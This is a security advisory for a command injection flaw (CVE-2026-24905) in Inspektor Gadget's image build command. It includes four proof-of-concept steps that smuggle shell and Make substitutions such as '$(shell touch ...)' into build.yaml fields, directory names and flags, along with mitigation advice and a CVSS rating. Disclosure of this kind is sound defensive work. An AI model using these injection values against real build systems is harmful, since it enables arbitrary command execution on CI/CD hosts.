Inspektor Gadget: Command Injection via malicious buildOptions manipulation
inspektor-gadget/cmd/common/image/build.go
inspektor-gadget/cmd/common/image/helpers/Makefile.build
The ig binary provides a subcommand for image building, used to generate custom gadget OCI images.
A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go.
The following is the code responsible to construct the build command:
```go
func buildCmd(options buildOptions) []string {
cmd := []string{
"make", "-f", filepath.Join(options.outputDir, "Makefile.build"),
"-j", fmt.Sprintf("%d", runtime.NumCPU()),
"OUTPUTDIR=" + options.outputDir,
"CFLAGS=" + options.cFlags,
"FORCE_COLORS=" + options.forceColorsFlag,
}
if options.ebpfSourcePath != "" {
cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf")
}
if options.wasmSourcePath != "" {
cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm")
}
if options.btfgen {
cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen")
}
return cmd
}
```
The Makefile.build file is the Makefile template employed during the building process.
This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.
This implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process.
An attacker able to exploit this vulnerability would be able to execute arbitray command:
ig command is launched, if images are built with the --local flagig, if the --local flag is not providedThe buildOptions structure is extracted from the YAML [gadget manifest](https://inspektor-gadget.io/docs/latest/gadget-devel/building#customizing-your-build) passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options.
Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.
1. Create the file build.yaml with the following content:
```
ebpfsource: "program.bpf.c"
metadata: "gadget.yaml"
cflags: " ; touch poc1.txt ; "
```
2. Create the file gadget.yaml with the following content:
```
name: test
description: test gadget
```
3. Create the file program.bpf.c with the following content:
```
#include <gadget/gadget.h>
char LICENSE[] SEC("license") = "GPL";
```
4. In the same directory where the files are run the command:
```
ig image build . -t test:latest
```
5. Notice that the file poc1.txt gets created inside the directory.
1. Create the file build.yaml with the following content:
```
ebpfsource: "$(shell touch poc2-1.txt)"
wasm: "$(shell touch poc2-2.txt)"
```
2. Create the file $(shell touch poc2-1.txt):
```
touch '$(shell touch poc2-1.txt)'
```
3. In the same directory where the files are run the command:
```
ig image build .
```
4. Notice that the files poc2-1.txt and poc2-2.txt get created inside the directory.
1. Create the file build.yaml with the following content:
```
wasm: dummy.go
```
2. Create the file gadget.yaml with the following content:
```
name: test
```
3. Create the directory $(shell touch poc3.txt):
```
touch '$(shell touch poc3.txt)'
```
4. Retrieve the full path of the created directory:
```
readlink -f '$(shell touch poc3.txt)'
```
5. In the same directory where the files are run the command replacing the <PATH> placeholder with the value retrieved at step 4:
```
ig image build . --local -o '<PATH>'
```
6. Notice that the file poc3.txt gets created inside the directory.
1. Create the file build.yaml with the following content:
```
ebpfsource: test.c
```
2. Create the file test.c:
```
touch test.c
```
3. In the same directory where the files are run the command
```
sudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)'
```
4. Notice that the file poc4.txt gets created inside the directory.
Sanitize build options by providing a robust whitelist to filter on.
Alternatively, revisit the design of image building to prevent shell substitution.
This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE-2026-24905 is classified as CWE-77: Command Injection. User input is placed into a command that the system interprets, allowing extra commands to be appended to the intended one.
CVE-2026-24905 is recorded against 2 packages.
Published on 22 April 2026 and last revised on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com/inspektor-gadget/inspektor-gadget has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-77: Command Injection) in other software:
Details
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/inspektor-gadget/inspektor-gadget | — | — |
| inspektor-gadget | — | 0.48.1 |
Similar Threats
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